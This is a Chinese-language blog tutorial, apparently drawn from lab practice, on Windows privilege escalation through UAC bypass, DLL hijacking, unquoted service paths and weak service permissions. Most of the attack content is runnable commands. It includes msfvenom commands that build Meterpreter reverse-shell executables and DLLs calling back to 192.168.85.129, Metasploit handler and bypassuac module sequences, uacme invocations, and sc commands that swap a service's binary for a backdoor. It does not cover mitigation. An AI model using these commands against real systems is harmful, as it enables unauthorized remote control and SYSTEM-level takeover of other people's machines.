windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权

0x01 bypassuac提权

UAC是一个账户访问控制,运行一些程序时,会提醒是否运行这个程序

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第1张图片

一.msf绕过uac

环境:win10,win7 管理员用户组的用户

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe 
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

msf成功上线,可以使用msf的自动化提权

getsystem #会尝试一些基本提权方法进行提权,如令牌窃取,进程注入等
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第2张图片

可以看到getsystem失败了,可以使用msf的模块进行绕过uac的检测

win7:

use exploit/windows/local/bypassuac
set session 1
getuid
getsystem
getuid

成功提权:

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第3张图片

UAC设置有三个等级:低,中,高,默认为中

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第4张图片

当设置为高级时:

exploit/windows/local/bypassuac不好用了,提权不了

use exploit/windows/local/ask   #需要用户点击才可以
set session 1
run
getuid
getsystem
getuid
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第5张图片

用户点击才可以提权

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第6张图片

win10:

#这三个模块都可以win7不可用
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
#使用第二个模块
use exploit/windows/local/bypassuac_sluihijack
set session 1
run
getuid
getsystem
getuid
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第7张图片

刚开始getsystem失败

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第8张图片

msf共有十几个uac模块,灵活应用

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第9张图片

bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

二.工具uac绕过

工具:uacme

环境:win7

uac为默认,中等级,高等级需要点击才能够执行

uacme有70多种绕过方法,比较好用的几种41,23,61

Akagi64.exe  #会弹出一个cmd窗口,权限高
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第10张图片
Akagi64.exe 41 位置+111.exe #以高权限调用后门
Akagi64.exe 第几个方法 执行的东西
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第11张图片
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第12张图片

0x02 dll劫持提权

windows程序启动的时候需要dll,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。dll文件的搜寻顺序

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限

环境:win2016 flashfxp(ftp)

1.信息搜集(应用程序调用的dll文件,一般是分析程序启动目录)

2.创建dll后门

3.上传并覆盖

4.等待应用执行

分析工具:

火绒剑,ChkDllHijack

火绒剑使用:

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第13张图片

ChkDllHijack使用:

成功:

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第14张图片

失败(不可dll劫持):

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第15张图片

msf生成dll文件:

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=3344 -f dll -o 1.dll
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lpor 3344
run

上传重命名覆盖,执行flashfxp,成功上线

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第16张图片

0x03引号路径提权

当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题

环境:win2016+macro_expert_enterprise-win服务

检测命令:

排除c盘的windows主要是因为没有权限

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

检测工具:

ps脚本 jaws

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第17张图片

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

先关闭服务:

sc stop "Macro Expert"

后重启服务

sc start "Macro Expert"

成功上线:

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第18张图片

0x04 服务权限提权

对权限控制不到位,导致用户可以更改服务执行的程序

正常来说是改不了的

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第19张图片

环境:win2016

检测工具:

jaws ps脚本

windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第20张图片

accesschk :

accesschk.exe -uwcqv "administrators" *
windows提权之BypassUAC&DLL劫持&引号路径&服务权限提权_第21张图片

找可以改的service_all_access

创建一个服务:

sc create test start= auto binPath="C:\1.exe"

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

更改服务程序路径,并启动服务

sc config "test" binpath="C:\Program.exe"
sc start test

成功上线并提权,这里很快就关闭了,可能是因为自己创建的服务,如果是系统的,应该就不会掉线了

你可能感兴趣的:(windows+linux提权,网络安全)